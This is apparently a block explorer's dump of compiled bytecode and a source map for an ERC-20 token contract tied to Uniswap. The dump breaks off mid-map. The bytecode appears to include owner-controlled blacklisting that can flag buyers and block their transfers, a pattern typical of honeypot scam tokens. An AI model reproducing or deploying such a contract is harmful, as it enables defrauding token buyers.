80fd5b600e55565b600c546001600160a01b0316331461066257600080fd5b60005b82518110156106c757816007600085848151811061068557610685611732565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790556106c081611701565b9050610665565b505050565b6060600280546104d8906116c6565b6000806106ea6002603c611690565b600b546106f790426116af565b610701919061166e565b90508061071057505060095490565b80600a5461071e9190611690565b60095461072b9190611656565b91505090565b600c546001600160a01b0316331461074857600080fd5b6008805460ff1916911515919091179055565b600c546001600160a01b0316331461077257600080fd5b60005b82518110156106c757816006600085848151811061079557610795611732565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790556107d081611701565b9050610775565b6000610568338484610bf1565b600c546001600160a01b031633146107fb57600080fd5b6005805460ff60a01b1916600160a01b93151593909302929092179091556008805460ff1916911515919091179055565b600c546001600160a01b0316331461084357600080fd5b6005546001600160a01b03161561085957600080fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108a857600080fd5b505afa1580156108bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108e0919061135a565b6001600160a01b031663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561093c57600080fd5b505afa158015610950573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610974919061135a565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156109bc57600080fd5b505af11580156109d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f4919061135a565b60008054308083526003602090815260408085208490556004808352818620737a250d5630b4cf539739df2c5dacb4c659f2488d808852908452828720959095556001600160a01b03871686526007909252808520805460ff191660011790558454905163f305d71960e01b81529182019290925260248101919091526044810183905260648101929092523360848301524260a483015291925063f305d71990479060c4016060604051808303818588803b158015610ab357600080fd5b505af1158015610ac7573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610aec9190611562565b5050600580546001600160a81b0319166001600160a01b03841617600160a01b1790555042600b556000546103e890610b2790600190611690565b610b31919061166e565b600a5550565b600c546001600160a01b03163314610b4e57600080fd5b600c80546001600160a01b0319166001600160a01b0392909216919091179055565b600c546001600160a01b03163314610b8757600080fd5b61062c81610ea1565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526006602052604090205460ff16158015610c3357506001600160a01b03821660009081526006602052604090205460ff16155b610c3c57600080fd5b6005546001600160a01b038481169116148015610c7257506001600160a01b03821660009081526007602052604090205460ff16155b15610d68576000610c856002603c611690565b600b54610c9290426116af565b610c9c919061166e565b90508015610cda576000546009541015610cd55780600a54610cbe9190611690565b60096000828254610ccf9190611656565b90915550505b42600b555b600554600160a01b900460ff16610cf057600080fd5b60085460ff16610d2c576009546001600160a01b038416600090815260036020526040902054610d21908490611656565b1115610d2c57600080fd5b60085460ff1615610d5b576001600160a01b0383166000908152600660205260409020805460ff191660011790555b610d6482610ec2565b9150505b600854610100900460ff16158015610d8a57506005546001600160a01b031615155b8015610da357506005546001600160a01b038381169116145b15610e9657610db28184610f0c565b306000908152600360205260409020549091508015610e945760006064610dd8600e5490565b6005546001600160a01b0316600090815260036020526040902054610dfd9190611690565b610e07919061166e565b905080821115610e6b576000818303905081925080600080828254610e2c91906116af565b909155505060405181815260009030907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3505b816000610e79856002611690565b905080821115610e87578091505b610e9082610ff3565b5050505b505b6106c78383836111af565b6103e860005482610eb29190611690565b610ebc919061166e565b60095550565b600080610ed060148461166e565b9050610edc81846116af565b30600090815260036020526040812080549295508392909190610f00908490611656565b90915550929392505050565b600080610f1a60148561166e565b90506000610f2785611266565b9050610f338183611656565b610f3d90866116af565b9450610f498183611656565b6001600160a01b03851660009081526003602052604081208054909190610f719084906116af565b90915550503060009081526003602052604081208054849290610f95908490611656565b9250508190555080600080828254610fad91906116af565b909155505060405181815260009030907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a350929392505050565b6008805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061103757611037611732565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156110a457600080fd5b505afa1580156110b8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110dc919061135a565b816001815181106110ef576110ef611732565b60200260200101906001600160a01b031690816001600160a01b03168152505061112e30737a250d5630b4cf539739df2c5dacb4c659f2488d84610b90565b6040516318cbafe560e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d906318cbafe59061116e9085906000908690309042906004016115e5565b600060405180830381600087803b15801561118857600080fd5b505af115801561119c573d6000803e3d6000fd5b50506008805461ff001916905550505050565b6001600160a01b038316600090815260036020526040902054818110156111d557600080fd5b6001600160a01b0380851660009081526003602052604080822085850390559185168152908120805484929061120c908490611656565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161125891815260200190565b60405180910390a350505050565b6005546001600160a01b03166000908152600360205260408120548161128d60648361166e565b90508084116112a9576112a160148561166e565b949350505050565b60006112b6600a8461166e565b9050808511156112e05760646112cd866023611690565b6112d7919061166e565b95945050505050565b60646112ec83836116af565b866112f785826116af565b611302906023611690565b61130c9190611690565b6112cd919061166e565b80356113218161175e565b919050565b8035801515811461132157600080fd5b60006020828403121561134857600080fd5b81356113538161175e565b9392505050565b60006020828403121561136c57600080fd5b81516113538161175e565b6000806040838503121561138a57600080fd5b82356113958161175e565b915060208301356113a58161175e565b809150509250929050565b6000806000606084860312156113c557600080fd5b83356113d08161175e565b925060208401356113e08161175e565b929592945050506040919091013590565b6000806040838503121561140457600080fd5b823561140f8161175e565b946020939093013593505050565b6000806040838503121561143057600080fd5b823567ffffffffffffffff8082111561144857600080fd5b818501915085601f83011261145c57600080fd5b813560208282111561147057611470611748565b8160051b604051601f19603f8301168101818110868211171561149557611495611748565b604052838152828101945085830182870184018b10156114b457600080fd5b600096505b848710156114de576114ca81611316565b8652600196909601959483019483016114b9565b5096506114ee9050878201611326565b9450505050509250929050565b60006020828403121561150d57600080fd5b61135382611326565b6000806040838503121561152957600080fd5b61153283611326565b915061154060208401611326565b90509250929050565b60006020828403121561155b57600080fd5b5035919050565b60008060006060848603121561157757600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156115bd578581018301518582016040015282016115a1565b818111156115cf576000604083870101525b50601f01601f1916929092016040019392505050565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116355784516001600160a01b031683529383019391830191600101611610565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156116695761166961171c565b500190565b60008261168b57634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156116aa576116aa61171c565b500290565b6000828210156116c1576116c161171c565b500390565b600181811c908216806116da57607f821691505b602082108114156116fb57634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156117155761171561171c565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461062c57600080fdfea2646970667358221220836f0c17e38026025012ef4527ca8ba9428a3a5770054f9b666509f543d3c5ec64736f6c63430008070033

Deployed Bytecode Sourcemap

117:1116:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1234:85:1;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2679:193;;;;;;;;;;-1:-1:-1;2679:193:1;;;;;:::i;:::-;;:::i;:::-;;;5435:14:4;;5428:22;5410:41;;5398:2;5383:18;2679:193:1;5270:187:4;482:25:3;;;;;;;;;;-1:-1:-1;482:25:3;;;;-1:-1:-1;;;482:25:3;;;;;;1517:102:1;;;;;;;;;;-1:-1:-1;1572:7:1;1599:12;1517:102;;;6210:25:4;;;6198:2;6183:18;1517:102:1;6064:177:4;3108:438:1;;;;;;;;;;-1:-1:-1;3108:438:1;;;;;:::i;:::-;;:::i;1424:85::-;;;;;;;;;;-1:-1:-1;1424:85:1;;971:2;7373:36:4;;7361:2;7346:18;1424:85:1;7231:184:4;514:37:3;;;;;;;;;;-1:-1:-1;514:37:3;;;;;:::i;:::-;;;;;;;;;;;;;;;;820:179:0;;;;;;;;;;;;;:::i;:::-;;447:28:3;;;;;;;;;;-1:-1:-1;447:28:3;;;;-1:-1:-1;;;;;447:28:3;;;;;;-1:-1:-1;;;;;4305:32:4;;;4287:51;;4275:2;4260:18;447:28:3;4141:203:4;627:185:0;;;;;;;;;;-1:-1:-1;627:185:0;;;;;:::i;:::-;;:::i;7088:238:3:-;;;;;;;;;;-1:-1:-1;7088:238:3;;;;;:::i;:::-;;:::i;1627:160:1:-;;;;;;;;;;-1:-1:-1;1627:160:1;;;;;:::i;:::-;-1:-1:-1;;;;;1761:18:1;1729:7;1761:18;;;:9;:18;;;;;;;1627:160;658:21:3;;;;;;;;;;;;;;;;1327:89:1;;;;;;;;;;;;;:::i;5979:302:3:-;;;;;;;;;;;;;:::i;935:28::-;;;;;;;;;;;;;;;;7527:94;;;;;;;;;;-1:-1:-1;7527:94:3;;;;;:::i;:::-;;:::i;6888:192::-;;;;;;;;;;-1:-1:-1;6888:192:3;;;;;:::i;:::-;;:::i;1795:199:1:-;;;;;;;;;;-1:-1:-1;1795:199:1;;;;;:::i;:::-;;:::i;7334:185:3:-;;;;;;;;;;-1:-1:-1;7334:185:3;;;;;:::i;:::-;;:::i;863:35::-;;;;;;;;;;;;;;;;1378:843;;;;;;;;;;;;;:::i;2485:186:1:-;;;;;;;;;;-1:-1:-1;2485:186:1;;;;;:::i;:::-;-1:-1:-1;;;;;2636:18:1;;;2604:7;2636:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;2485:186;1130:100:0;;;;;;;;;;-1:-1:-1;1130:100:0;;;;;:::i;:::-;;:::i;5761:93:3:-;;;;;;;;;;-1:-1:-1;5761:93:3;;;;;:::i;:::-;;:::i;1234:85:1:-;1273:13;1306:5;1299:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1234:85;:::o;2679:193::-;2783:4;2805:37;2814:10;2826:7;2835:6;2805:8;:37::i;:::-;-1:-1:-1;2860:4:1;2679:193;;;;:::o;3108:438::-;3242:4;3259:36;3269:6;3277:9;3288:6;3259:9;:36::i;:::-;-1:-1:-1;;;;;3335:19:1;;3308:24;3335:19;;;:11;:19;;;;;;;;3355:10;3335:31;;;;;;;;3385:26;;;;3377:35;;;;;;3448:55;3457:6;3465:10;3496:6;3477:16;:25;3448:8;:55::i;:::-;-1:-1:-1;3534:4:1;;3108:438;-1:-1:-1;;;;3108:438:1:o;820:179:0:-;882:16;;-1:-1:-1;;;;;882:16:0;868:10;:30;;:54;;-1:-1:-1;916:6:0;;-1:-1:-1;;;;;916:6:0;902:10;:20;868:54;860:63;;;;;;942:16;;934:57;;-1:-1:-1;;;;;942:16:0;;;;969:21;934:57;;;;;942:16;934:57;942:16;934:57;969:21;942:16;934:57;;;;;;;;;;;;;;;;;;;;;820:179::o;627:185::-;1108:6;;-1:-1:-1;;;;;1108:6:0;1043:10:3;1097:17:0;1027:28:3;;;;;;752:27:0::1;:52:::0;627:185::o;7088:238:3:-;1108:6:0;;-1:-1:-1;;;;;1108:6:0;1043:10:3;1097:17:0;1027:28:3;;;;;;7212:9:::1;7207:112;7231:8;:15;7227:1;:19;7207:112;;;7302:5;7268:18;:31;7287:8;7296:1;7287:11;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;7268:31:3::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;7268:31:3;:39;;-1:-1:-1;;7268:39:3::1;::::0;::::1;;::::0;;;::::1;::::0;;7248:3:::1;::::0;::::1;:::i;:::-;;;7207:112;;;;7088:238:::0;;:::o;1327:89:1:-;1368:13;1401:7;1394:14;;;;;:::i;5979:302:3:-;6023:7;;6118:39;735:1;6148:9;6118:39;:::i;:::-;6087:13;;6069:31;;:15;:31;:::i;:::-;6068:90;;;;:::i;:::-;6043:115;-1:-1:-1;6173:19:3;6169:38;;-1:-1:-1;;6201:6:3;;;5979:302::o;6169:38::-;6259:14;6236:20;;:37;;;;:::i;:::-;6227:6;;:46;;;;:::i;:::-;6220:53;;;5979:302;:::o;7527:94::-;1108:6:0;;-1:-1:-1;;;;;1108:6:0;1043:10:3;1097:17:0;1027:28:3;;;;;;7593:12:::1;:20:::0;;-1:-1:-1;;7593:20:3::1;::::0;::::1;;::::0;;;::::1;::::0;;7527:94::o;6888:192::-;1108:6:0;;-1:-1:-1;;;;;1108:6:0;1043:10:3;1097:17:0;1027:28:3;;;;;;6979:9:::1;6974:99;6998:8;:15;6994:1;:19;6974:99;;;7056:5;7035;:18;7041:8;7050:1;7041:11;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;7035:18:3::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;7035:18:3;:26;;-1:-1:-1;;7035:26:3::1;::::0;::::1;;::::0;;;::::1;::::0;;7015:3:::1;::::0;::::1;:::i;:::-;;;6974:99;;1795:199:1::0;1902:4;1924:40;1934:10;1946:9;1957:6;1924:9;:40::i;7334:185:3:-;1108:6:0;;-1:-1:-1;;;;;1108:6:0;1043:10:3;1097:17:0;1027:28:3;;;;;;7448:13:::1;:21:::0;;-1:-1:-1;;;;7448:21:3::1;-1:-1:-1::0;;;7448:21:3;::::1;;::::0;;;::::1;::::0;;;::::1;::::0;;;7480:12:::1;:31:::0;;-1:-1:-1;;7480:31:3::1;::::0;::::1;;::::0;;;::::1;::::0;;7334:185::o;1378:843::-;1108:6:0;;-1:-1:-1;;;;;1108:6:0;1043:10:3;1097:17:0;1027:28:3;;;;;;1439:13:::1;::::0;-1:-1:-1;;;;;1439:13:3::1;:27:::0;1431:36:::1;;;::::0;::::1;;1478:12;397:42;-1:-1:-1::0;;;;;1511:24:3::1;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;1493:56:3::1;;1572:4;397:42;-1:-1:-1::0;;;;;1592:21:3::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;1493:133;::::0;-1:-1:-1;;;;;;1493:133:3::1;::::0;;;;;;-1:-1:-1;;;;;4579:15:4;;;1493:133:3::1;::::0;::::1;4561:34:4::0;4631:15;;4611:18;;;4604:43;4496:18;;1493:133:3::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;1664:12;::::0;;1655:4:::1;1637:24:::0;;;:9:::1;:24;::::0;;;;;;;:39;;;1687:11:::1;:26:::0;;;;;;397:42:::1;1687:53:::0;;;;;;;;;:68;;;;-1:-1:-1;;;;;1766:24:3;::::1;::::0;;:18:::1;:24:::0;;;;;;:31;;-1:-1:-1;;1766:31:3::1;1793:4;1766:31;::::0;;1913:12;;1808:215;;-1:-1:-1;;;1808:215:3;;;;::::1;4999:34:4::0;;;;5049:18;;;5042:34;;;;5092:18;;;5085:34;;;5135:18;;;5128:34;;;;1972:10:3::1;5178:19:4::0;;;5171:44;1997:15:3::1;5231:19:4::0;;;5224:35;1766:24:3;;-1:-1:-1;1808:32:3::1;::::0;1848:21:::1;::::0;4933:19:4;;1808:215:3::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;2036:13:3::1;:20:::0;;-1:-1:-1;;;;;;2067:20:3;-1:-1:-1;;;;;2036:20:3;::::1;2067::::0;-1:-1:-1;;;2067:20:3::1;::::0;;-1:-1:-1;2116:15:3::1;2100:13;:31:::0;2036:13:::1;2166:12:::0;2209:4:::1;::::0;2166:39:::1;::::0;2036:20;;2166:39:::1;:::i;:::-;2165:48;;;;:::i;:::-;2142:20;:71:::0;-1:-1:-1;1378:843:3:o;1130:100:0:-;1108:6;;-1:-1:-1;;;;;1108:6:0;1043:10:3;1097:17:0;1027:28:3;;;;;;1205:6:0::1;:17:::0;;-1:-1:-1;;;;;;1205:17:0::1;-1:-1:-1::0;;;;;1205:17:0;;;::::1;::::0;;;::::1;::::0;;1130:100::o;5761:93:3:-;1108:6:0;;-1:-1:-1;;;;;1108:6:0;1043:10:3;1097:17:0;1027:28:3;;;;;;5827:19:::1;5838:7;5827:10;:19::i;2880:220:1:-:0;-1:-1:-1;;;;;3008:18:1;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;3060:32;;6210:25:4;;;3060:32:1;;6183:18:4;3060:32:1;;;;;;;2880:220;;;:::o;2229:2227:3:-;-1:-1:-1;;;;;2362:11:3;;;;;;:5;:11;;;;;;;;2361:12;:26;;;;-1:-1:-1;;;;;;2378:9:3;;;;;;:5;:9;;;;;;;;2377:10;2361:26;2353:35;;;;;;2429:13;;-1:-1:-1;;;;;2421:21:3;;;2429:13;;2421:21;:48;;;;-1:-1:-1;;;;;;2447:22:3;;;;;;:18;:22;;;;;;;;2446:23;2421:48;2417:680;;;2519:22;2598:39;735:1;2628:9;2598:39;:::i;:::-;2563:13;;2545:31;;:15;:31;:::i;:::-;2544:94;;;;:::i;:::-;2519:119;-1:-1:-1;2657:18:3;;2653:204;;2709:12;;2700:6;;:21;2696:95;;;2777:14;2754:20;;:37;;;;:::i;:::-;2744:6;;:47;;;;;;;:::i;:::-;;;;-1:-1:-1;;2696:95:3;2826:15;2810:13;:31;2653:204;2881:13;;-1:-1:-1;;;2881:13:3;;;;2873:22;;;;;;2915:12;;;;2910:60;;2963:6;;-1:-1:-1;;;;;2937:13:3;;;;;;:9;:13;;;;;;:22;;2953:6;;2937:22;:::i;:::-;:32;;2929:41;;;;;;3013:12;;;;3009:34;;;-1:-1:-1;;;;;3027:9:3;;;;;;:5;:9;;;;;:16;;-1:-1:-1;;3027:16:3;3039:4;3027:16;;;3009:34;3067:18;3078:6;3067:10;:18::i;:::-;3058:27;;2471:626;2417:680;3131:7;;;;;;;3130:8;:39;;;;-1:-1:-1;3142:13:3;;-1:-1:-1;;;;;3142:13:3;:27;;3130:39;:62;;;;-1:-1:-1;3179:13:3;;-1:-1:-1;;;;;3173:19:3;;;3179:13;;3173:19;3130:62;3126:1122;;;3218:25;3230:6;3238:4;3218:11;:25::i;:::-;3307:4;3258:28;1761:18:1;;;:9;:18;;;;;;3209:34:3;;-1:-1:-1;3332:24:3;;3328:909;;3377:26;3489:3;3455:30;584:27:0;;;444:175;3455:30:3;3417:13;;-1:-1:-1;;;;;3417:13:3;1729:7:1;1761:18;;;:9;:18;;;;;;3407:78:3;;;;:::i;:::-;3406:86;;;;:::i;:::-;3377:115;;3538:18;3515:20;:41;3511:429;;;3581:17;3693:18;3670:20;:41;3658:53;;3780:18;3757:41;;3837:9;3821:12;;:25;;;;;;;:::i;:::-;;;;-1:-1:-1;;3874:46:3;;6210:25:4;;;3906:1:3;;3891:4;;3874:46;;6198:2:4;6183:18;3874:46:3;;;;;;;3558:382;3511:429;4030:20;4010:17;4092:10;4096:6;4092:1;:10;:::i;:::-;4069:33;;4137:12;4125:9;:24;4121:54;;;4163:12;4151:24;;4121:54;4194:27;4211:9;4194:16;:27::i;:::-;3358:879;;;3328:909;3194:1054;3126:1122;4365:33;4381:4;4387:2;4391:6;4365:15;:33::i;5862:109::-;5959:4;5943:12;;5931:9;:24;;;;:::i;:::-;5930:33;;;;:::i;:::-;5921:6;:42;-1:-1:-1;5862:109:3:o;4464:202::-;4517:7;;4551:11;4560:2;4551:6;:11;:::i;:::-;4537:25;-1:-1:-1;4579:13:3;4537:25;4579:13;;:::i;:::-;4621:4;4603:24;;;;:9;:24;;;;;:31;;4579:13;;-1:-1:-1;4631:3:3;;4603:24;;;:31;;4631:3;;4603:31;:::i;:::-;;;;-1:-1:-1;4652:6:3;;4464:202;-1:-1:-1;;;4464:202:3:o;5239:514::-;5328:7;;5392:11;5401:2;5392:6;:11;:::i;:::-;5375:28;;5420:17;5440:24;5457:6;5440:16;:24::i;:::-;5420:44;-1:-1:-1;5501:18:3;5420:44;5501:6;:18;:::i;:::-;5491:28;;;;:::i;:::-;;-1:-1:-1;5552:18:3;5561:9;5552:6;:18;:::i;:::-;-1:-1:-1;;;;;5530:18:3;;;;;;:9;:18;;;;;:40;;:18;;;:40;;;;;:::i;:::-;;;;-1:-1:-1;;5607:4:3;5589:24;;;;:9;:24;;;;;:34;;5617:6;;5589:24;:34;;5617:6;;5589:34;:::i;:::-;;;;;;;;5650:9;5634:12;;:25;;;;;;;:::i;:::-;;;;-1:-1:-1;;5675:46:3;;6210:25:4;;;5707:1:3;;5692:4;;5675:46;;6198:2:4;6183:18;5675:46:3;;;;;;;-1:-1:-1;5739:6:3;;5239:514;-1:-1:-1;;;5239:514:3:o;6289:591::-;1117:7;:14;;-1:-1:-1;;1117:14:3;;;;;6451:16:::1;::::0;;6465:1:::1;6451:16:::0;;;;;::::1;::::0;;-1:-1:-1;;6451:16:3::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;6451:16:3::1;6427:40;;6496:4;6478;6483:1;6478:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1::0;;;;;6478:23:3::1;;;-1:-1:-1::0;;;;;6478:23:3::1;;;::::0;::::1;397:42;-1:-1:-1::0;;;;;6522:21:3::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6512:4;6517:1;6512:7;;;;;;;;:::i;:::-;;;;;;:33;-1:-1:-1::0;;;;;6512:33:3::1;;;-1:-1:-1::0;;;;;6512:33:3::1;;;::::0;::::1;6558:63;6575:4;397:42;6609:11;6558:8;:63::i;:::-;6660:212;::::0;-1:-1:-1;;;6660:212:3;;397:42:::1;::::0;6660:38:::1;::::0;:212:::1;::::0;6713:11;;6739:1:::1;::::0;6783:4;;6810::::1;::::0;6846:15:::1;::::0;6660:212:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;1154:7:3;:15;;-1:-1:-1;;1154:15:3;;;-1:-1:-1;;;;6289:591:3:o;2002:475:1:-;-1:-1:-1;;;;;2200:15:1;;2176:21;2200:15;;;:9;:15;;;;;;2234:23;;;;2226:32;;;;;;-1:-1:-1;;;;;2294:15:1;;;;;;;:9;:15;;;;;;2312:22;;;2294:40;;2356:13;;;;;;;;:23;;2328:6;;2294:15;2356:23;;2328:6;;2356:23;:::i;:::-;;;;;;;;2410:2;-1:-1:-1;;;;;2395:26:1;2404:4;-1:-1:-1;;;;;2395:26:1;;2414:6;2395:26;;;;6210:25:4;;6198:2;6183:18;;6064:177;2395:26:1;;;;;;;;2114:363;2002:475;;;:::o;4674:557:3:-;4819:13;;-1:-1:-1;;;;;4819:13:3;4739:7;4809:24;;;:9;:24;;;;;;4739:7;4859:11;4867:3;4809:24;4859:11;:::i;:::-;4844:26;;4922:4;4912:6;:14;4908:38;;4935:11;4944:2;4935:6;:11;:::i;:::-;4928:18;4674:557;-1:-1:-1;;;;4674:557:3:o;4908:38::-;4976:12;4991:10;4999:2;4991:5;:10;:::i;:::-;4976:25;;5056:4;5047:6;:13;5043:45;;;5085:3;5070:11;:6;5079:2;5070:11;:::i;:::-;5069:19;;;;:::i;:::-;5062:26;4674:557;-1:-1:-1;;;;;4674:557:3:o;5043:45::-;5220:3;5204:11;5211:4;5204;:11;:::i;:::-;5193:6;5171:13;5180:4;5193:6;5171:13;:::i;:::-;5170:20;;5188:2;5170:20;:::i;:::-;:29;;;;:::i;:::-;5169:47;;;;:::i;14:134:4:-;82:20;;111:31;82:20;111:31;:::i;:::-;14:134;;;:::o;153:160::-;218:20;;274:13;;267:21;257:32;;247:60;;303:1;300;293:12;318:247;377:6;430:2;418:9;409:7;405:23;401:32;398:52;;;446:1;443;436:12;398:52;485:9;472:23;504:31;529:5;504:31;:::i;:::-;554:5;318:247;-1:-1:-1;;;318:247:4:o;570:251::-;640:6;693:2;681:9;672:7;668:23;664:32;661:52;;;709:1;706;699:12;661:52;741:9;735:16;760:31;785:5;760:31;:::i;826:388::-;894:6;902;955:2;943:9;934:7;930:23;926:32;923:52;;;971:1;968;961:12;923:52;1010:9;997:23;1029:31;1054:5;1029:31;:::i;:::-;1079:5;-1:-1:-1;1136:2:4;1121:18;;1108:32;1149:33;1108:32;1149:33;:::i;:::-;1201:7;1191:17;;;826:388;;;;;:::o;1219:456::-;1296:6;1304;1312;1365:2;1353:9;1344:7;1340:23;1336:32;1333:52;;;1381:1;1378;1371:12;1333:52;1420:9;1407:23;1439:31;1464:5;1439:31;:::i;:::-;1489:5;-1:-1:-1;1546:2:4;1531:18;;1518:32;1559:33;1518:32;1559:33;:::i;:::-;1219:456;;1611:7;;-1:-1:-1;;;1665:2:4;1650:18;;;;1637:32;;1219:456::o;1680:315::-;1748:6;1756;1809:2;1797:9;1788:7;1784:23;1780:32;1777:52;;;1825:1;1822;1815:12;1777:52;1864:9;1851:23;1883:31;1908:5;1883:31;:::i;:::-;1933:5;1985:2;1970:18;;;;1957:32;;-1:-1:-1;;;1680:315:4:o;2000:1202::-;2090:6;2098;2151:2;2139:9;2130:7;2126:23;2122:32;2119:52;;;2167:1;2164;2157:12;2119:52;2207:9;2194:23;2236:18;2277:2;2269:6;2266:14;2263:34;;;2293:1;2290;2283:12;2263:34;2331:6;2320:9;2316:22;2306:32;;2376:7;2369:4;2365:2;2361:13;2357:27;2347:55;;2398:1;2395;2388:12;2347:55;2434:2;2421:16;2456:4;2479:2;2475;2472:10;2469:36;;;2485:18;;:::i;:::-;2531:2;2528:1;2524:10;2563:2;2557:9;2626:2;2622:7;2617:2;2613;2609:11;2605:25;2597:6;2593:38;2681:6;2669:10;2666:22;2661:2;2649:10;2646:18;2643:46;2640:72;;;2692:18;;:::i;:::-;2728:2;2721:22;2778:18;;;2812:15;;;;-1:-1:-1;2847:11:4;;;2877;;;2873:20;;2870:33;-1:-1:-1;2867:53:4;;;2916:1;2913;2906:12;2867:53;2938:1;2929:10;;2948:169;2962:2;2959:1;2956:9;2948:169;;;3019:23;3038:3;3019:23;:::i;:::-;3007:36;;2980:1;2973:9;;;;;3063:12;;;;3095;;2948:169;;;-1:-1:-1;3136:6:4;-1:-1:-1;3161:35:4;;-1:-1:-1;3177:18:4;;;3161:35;:::i;:::-;3151:45;;;;;;2000:1202;;;;;:::o;3207:180::-;3263:6;3316:2;3304:9;3295:7;3291:23;3287:32;3284:52;;;3332:1;3329;3322:12;3284:52;3355:26;3371:9;3355:26;:::i;3392:248::-;3454:6;3462;3515:2;3503:9;3494:7;3490:23;3486:32;3483:52;;;3531:1;3528;3521:12;3483:52;3554:26;3570:9;3554:26;:::i;:::-;3544:36;;3599:35;3630:2;3619:9;3615:18;3599:35;:::i;:::-;3589:45;;3392:248;;;;;:::o;3645:180::-;3704:6;3757:2;3745:9;3736:7;3732:23;3728:32;3725:52;;;3773:1;3770;3763:12;3725:52;-1:-1:-1;3796:23:4;;3645:180;-1:-1:-1;3645:180:4:o;3830:306::-;3918:6;3926;3934;3987:2;3975:9;3966:7;3962:23;3958:32;3955:52;;;4003:1;4000;3993:12;3955:52;4032:9;4026:16;4016:26;;4082:2;4071:9;4067:18;4061:25;4051:35;;4126:2;4115:9;4111:18;4105:25;4095:35;;3830:306;;;;;:::o;5462:597::-;5574:4;5603:2;5632;5621:9;5614:21;5664:6;5658:13;5707:6;5702:2;5691:9;5687:18;5680:34;5732:1;5742:140;5756:6;5753:1;5750:13;5742:140;;;5851:14;;;5847:23;;5841:30;5817:17;;;5836:2;5813:26;5806:66;5771:10;;5742:140;;;5900:6;5897:1;5894:13;5891:91;;;5970:1;5965:2;5956:6;5945:9;5941:22;5937:31;5930:42;5891:91;-1:-1:-1;6043:2:4;6022:15;-1:-1:-1;;6018:29:4;6003:45;;;;6050:2;5999:54;;5462:597;-1:-1:-1;;;5462:597:4:o;6246:980::-;6508:4;6556:3;6545:9;6541:19;6587:6;6576:9;6569:25;6613:2;6651:6;6646:2;6635:9;6631:18;6624:34;6694:3;6689:2;6678:9;6674:18;6667:31;6718:6;6753;6747:13;6784:6;6776;6769:22;6822:3;6811:9;6807:19;6800:26;;6861:2;6853:6;6849:15;6835:29;;6882:1;6892:195;6906:6;6903:1;6900:13;6892:195;;;6971:13;;-1:-1: